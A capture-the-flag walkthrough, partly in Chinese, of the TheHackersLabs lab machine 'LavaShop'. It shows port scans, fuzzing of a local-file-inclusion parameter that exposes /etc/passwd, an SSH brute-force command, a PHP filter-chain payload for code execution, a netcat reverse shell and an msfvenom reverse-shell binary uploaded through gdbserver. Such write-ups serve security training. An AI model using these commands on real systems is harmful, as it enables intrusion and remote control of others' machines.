LavaShop

https://labs.thehackerslabs.com/machine/140

Recon

PortScan

➜  LavaShop nmap -sT -min-rate 10000 -p- 192.168.56.129
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-20 21:34 CST
Nmap scan report for 192.168.56.129
Host is up (0.00051s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
1337/tcp open  waste
MAC Address: 08:00:27:18:2F:9D (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 3.68 seconds

➜  LavaShop nmap -sT -A -p 22,80,1337 192.168.56.129   
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-20 21:35 CST
Nmap scan report for 192.168.56.129
Host is up (0.00046s latency).

PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey: 
|   256 af:79:a1:39:80:45:fb:b7:cb:86:fd:8b:62:69:4a:64 (ECDSA)
|_  256 6d:d4:9d:ac:0b:f0:a1:88:66:b4:ff:f6:42:bb:f2:e5 (ED25519)
80/tcp   open  http       Apache httpd 2.4.62
|_http-title: Did not follow redirect to http://lavashop.thl/
|_http-server-header: Apache/2.4.62 (Debian)
1337/tcp open  tcpwrapped
MAC Address: 08:00:27:18:2F:9D (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
Network Distance: 1 hop
Service Info: Host: 127.0.0.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.46 ms 192.168.56.129

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.38 seconds

枚举

80 端口

1337 端口

➜  LavaShop echo "1234" | nc 192.168.56.129 1337
(UNKNOWN) [192.168.56.129] 1337 (?) : Connection refused

目录扫描

➜  LavaShop feroxbuster --url http://lavashop.thl -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt --filter-status 404,503,400 -x php,txt
                                                                                                                  
 ___  ___  __   __     __      __         __   ___                                                                
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__                                                                 
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___                                                                
by Ben "epi" Risher 🤓                 ver: 2.11.0                                                                
───────────────────────────┬──────────────────────                                                                
 🎯  Target Url            │ http://lavashop.thl                                                                  
 🚀  Threads               │ 50                                             
 📖  Wordlist              │ /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
 💢  Status Code Filters   │ [404, 503, 400]
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.11.0
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔎  Extract Links         │ true
 💲  Extensions            │ [php, txt]
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404      GET        9l       31w      274c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
403      GET        9l       28w      277c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET      191l      466w     4025c http://lavashop.thl/assets/css/styles.css
200      GET       45l      105w     1539c http://lavashop.thl/index.php
301      GET        9l       28w      312c http://lavashop.thl/pages => http://lavashop.thl/pages/
301      GET        9l       28w      313c http://lavashop.thl/assets => http://lavashop.thl/assets/
301      GET        9l       28w      315c http://lavashop.thl/includes => http://lavashop.thl/includes/
200      GET       45l      105w     1539c http://lavashop.thl/
301      GET        9l       28w      320c http://lavashop.thl/assets/images => http://lavashop.thl/assets/images/
301      GET        9l       28w      317c http://lavashop.thl/assets/css => http://lavashop.thl/assets/css/
301      GET        9l       28w      321c http://lavashop.thl/includes/pages => http://lavashop.thl/includes/pages/
200      GET       19l       40w      698c http://lavashop.thl/includes/header.php
200      GET        8l       20w      424c http://lavashop.thl/includes/nav.php
200      GET        5l       27w      208c http://lavashop.thl/pages/about.php
200      GET       26l       97w     1017c http://lavashop.thl/pages/products.php
200      GET        8l       23w      246c http://lavashop.thl/includes/pages/contact.php
200      GET        4l        7w      139c http://lavashop.thl/pages/contact.php
200      GET        5l       20w      195c http://lavashop.thl/pages/home.php
200      GET        5l       14w      105c http://lavashop.thl/includes/footer.php
200      GET        6l       26w      192c http://lavashop.thl/includes/pages/catalog.php
200      GET        4l       30w      208c http://lavashop.thl/includes/pages/home.php

看着像是存在 LFI ，枚举一下 index.php 的 page 参数

➜  LavaShop ffuf -u 'http://lavashop.thl/index.php?page=FUZZ' -w /usr/share/wordlists/fuzzDicts/paramDict/AllParam.txt 

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://lavashop.thl/index.php?page=FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/fuzzDicts/paramDict/AllParam.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

about                   [Status: 200, Size: 1268, Words: 140, Lines: 41, Duration: 0ms]
contact                 [Status: 200, Size: 1199, Words: 115, Lines: 40, Duration: 0ms]
home                    [Status: 200, Size: 1539, Words: 192, Lines: 45, Duration: 0ms]
products                [Status: 200, Size: 2077, Words: 296, Lines: 62, Duration: 0ms]
                        [Status: 200, Size: 1539, Words: 192, Lines: 45, Duration: 4ms]
:: Progress: [74332/74332] :: Job [1/1] :: 8333 req/sec :: Duration: [0:00:08] :: Errors: 0 ::

没有枚举出来，再枚举一下其他页面是否存在参数

有点阴了，藏在 products.php

➜  LavaShop ffuf -u 'http://lavashop.thl/pages/products.php?FUZZ=/etc/passwd' -w /usr/share/wordlists/fuzzDicts/paramDict/AllParam.txt -fs 1017

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://lavashop.thl/pages/products.php?FUZZ=/etc/passwd
 :: Wordlist         : FUZZ: /usr/share/wordlists/fuzzDicts/paramDict/AllParam.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 1017
________________________________________________

file                    [Status: 200, Size: 2481, Words: 225, Lines: 55, Duration: 1ms]

成功包含

➜  LavaShop curl 'http://lavashop.thl/pages/products.php?file=/etc/passwd'                
  <section style="margin-bottom:1.5rem; padding:1rem; background:rgba(0,0,0,.25); border:1px solid rgba(255,255,255,.1); border-radius:12px;">
    <p style="margin:0 0 .75rem;">Incluyendo: <code>/etc/passwd</code></p>
    <pre style="white-space:pre-wrap; overflow:auto; padding:.75rem; background:rgba(0,0,0,.35); border-radius:8px;">
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin                                                                   
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync                                                                                
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin                                                                   
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
messagebus:x:100:107::/nonexistent:/usr/sbin/nologin
sshd:x:101:65534::/run/sshd:/usr/sbin/nologin
debian:x:1000:1000:debian,,,:/home/debian:/bin/bash
Rodri:x:1001:1001::/home/Rodri:/bin/bash

LFI

将用户 Rodri 拿去后台爆破

LavaShop hydra -l Rodri -P /usr/share/wordlists/rockyou.txt -t 8 192.168.56.129 ssh

继续测试 LFI，可以使用伪协议

能直接读 user.txt

继续测试，尝试使用 https://github.com/synacktiv/php_filter_chain_generator

python lfi.py --chain '<?php phpinfo();?>'

成功执行

反弹 shell

python lfi.py --chain '<?php eval(system($_GET["x"])); ?>  '

x=busybox nc 192.168.56.5 1234 -e /bin/bash

提权 - Rodri

查看进程可以看到后台有个 gdbserver

网上收集了几个 payload 这个能用：

渗透测试远程 GdbServer - HackTricks --- Pentesting Remote GdbServer - HackTricks

# Trick shared by @B1n4rySh4d0w
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 PrependFork=true -f elf -o binary.elf

chmod +x binary.elf

gdb binary.elf

# Set remote debuger target
target extended-remote 192.168.56.129:1337

# Upload elf file
remote put binary.elf binary.elf

# Set remote executable file
set remote exec-file /home/Rodri/binary.elf

# Execute reverse shell executable
run

# You should get your reverse-shell

提权

root 密码藏在环境变量里面

TheHackersLabs - LavaShop